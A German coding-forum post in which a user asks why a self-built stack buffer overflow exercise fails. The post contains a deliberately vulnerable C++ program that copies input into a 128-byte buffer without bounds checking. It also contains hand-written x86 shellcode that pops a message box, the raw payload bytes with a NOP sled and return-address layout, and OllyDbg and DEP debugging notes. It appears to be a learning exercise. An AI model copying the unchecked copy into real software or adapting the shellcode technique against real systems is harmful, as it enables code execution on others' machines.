| Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme. |
Diskussion: Bufferoverflow: Einschleusen von Shellcode klappt nur zu 80% im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Hallo liebe Leute, ich bins wieder mal .. Ich habs mir bisher verkniffen, nochmal danach zu fragen, aber irgendwie ...
![]() |
| | #1 (permalink) |
| Anzeige Hallo liebe Leute, ich bins wieder mal .. Ich habs mir bisher verkniffen, nochmal danach zu fragen, aber irgendwie leuchtet mir die Lösung auf mein Problem, an dem ich schon seit ca 2 Tagen sitze, nicht ein :S ---Sacherläuterung: Vulernable Code: Code: // C++ Syntax
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char* args[])
{
if (argc < 2) {
MessageBoxA( 0, "This demo must be started with some parameters", "Information (.Lone.Wolf)", MB_OK | MB_ICONINFORMATION );
return 0;
};
char buf[128];
ZeroMemory( &buf, sizeof(buf) );
//strcpy( buf, args[1] );
memcpy( buf, args[1], strlen(args[1]) );
printf( "%s", buf );
MessageBoxA( 0, buf, "Input (.Lone.Wolf)", 0 );
return 0;
} Code: // Delphi(asm) Syntax
asm
xor ecx, ecx
add cl, $60
sub esp, ecx // damit nichts im Stack überschrieben wird ...
jmp @start
@main:
// ecx = 0
// edx = MSG
// eax = MsgBoxA
xor ecx, ecx
// imgbse + $4B2C4 (Importtable) = MessageBoxA (user32.dll)
mov eax, ecx
add al, $44
shl eax, $10
add ax, $B2CC
mov ecx, [eax]
xchg ecx, eax
xor ecx, ecx
//MsgBxCall
pop edx // <- Msg
push ecx
push ecx
push edx
push ecx
call eax
@start:
call @main
@MSG:
DB 'Just Exploited ;)', 0
end; Code: 31C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF22
//als Variable: | Delphi
const
RawShell = // 56
#$31#$C9#$80#$C1#$60#$29#$CC#$EB#$19#$31#$C9#$89#$C8#$04#$44#$C1#$E0#$10 +
#$66#$05#$CC#$B2#$8B#$08#$91#$31#$C9#$5A#$51#$51#$52#$51#$FF#$D0#$E8#$E2 +
#$FF#$FF#$FF#$4A#$75#$73#$74#$20#$45#$78#$70#$6C#$6F#$69#$74#$65#$64#$20 +
#$3B#$29; Buf[128] Variable[8] FrameBuffer[4] RET[4] Dh. Ich muss den Buffer so überschreiben, dass bei [140] dei Rücksprungsadresse überschrieben wird: Code: // Delphisyntax var Shell: String; .. Shell := StringOfChar( NOP, 84 ) + RawShell + #$01#$FF#$22; Weitere Notizen, die ich mir gemacht habe: Code: 84x 90(NOP): 909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090 83x NOP + Shellcode + RTNAddr (len = 144): 90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909031C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF2200 --- So, nun zum eigentlichen Problem: Wenn nich nun die (vulnerable) Anwendung von meiner Anwendung mit dem Parameter Shell starte, passiert nichts. Dazu habe ich nun Olly mit folgendem Parameter aufgerufen -> "<Path to vulnerable C++Program>" "Shell" Da kann ich schön beobachten, wie der Buffer mit 90 usw befüllt wird, aber ganz am Schluss steht nur ein Teil meines eigentlichen Shellcodes :S DH es wird nicht 100% kopiert bzw RTN Adresse wird somit auch nicht überschrieben :( Der Shellcode hat keine 00Bytes. Ich habe mir noch Artikel zu DEP gelesen, aber ... Mein Shell funktioniert auf dem Stack, wenn ich ihn manuell in Olly einfüge :S Sicherheitshalber habe ich die vulnerable Anwendung zu den DEP-Ausnahmen hinzugefügt. Wieder nichts :( Dann habe ich das ganze auf meinem XP-Standrechner ausprobiert(Ich benütze Vista auf meinem Laptop) - Auch nichts :( PS: Wenn ich die Anwendung mit Shell := StringOfChar('A', 144) starte, wird der Parameter 100% angenommen und überschreibt die Rücksprungsadresse -> somit wäre meine weitere Annahme, dass die Stelle >>Variable[8]<< schreibgeschützt ist, fürn Hugo. Ich bin schon am verzweifeln. Ich hoffe, dass mir irgendwer helfen kann. EDIT -> UPS .. HAB DOCH N 00 Byte GEFUNDEN .. MIST ... MOM. EDIT2 -> OK. Nun hab ichs ausgebessert; der Fehler ist aber trotzdem noch nicht weg :( MfG | |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Bufferoverflow | throjan | Security/Network Tutorials | 8 | 25.12.10 14:18 |
| Simple BufferOverflow Tutorial | Nimda05 | (In)security allgemein | 6 | 08.10.07 15:05 |
| Lan --> Programm "einschleusen"? | fast_killer | (In)security allgemein | 7 | 18.07.05 11:57 |
| Shellcode mit Exploit einschleusen | Frosty | Virenschutz · Tools & Aggressive Software | 6 | 01.05.04 10:59 |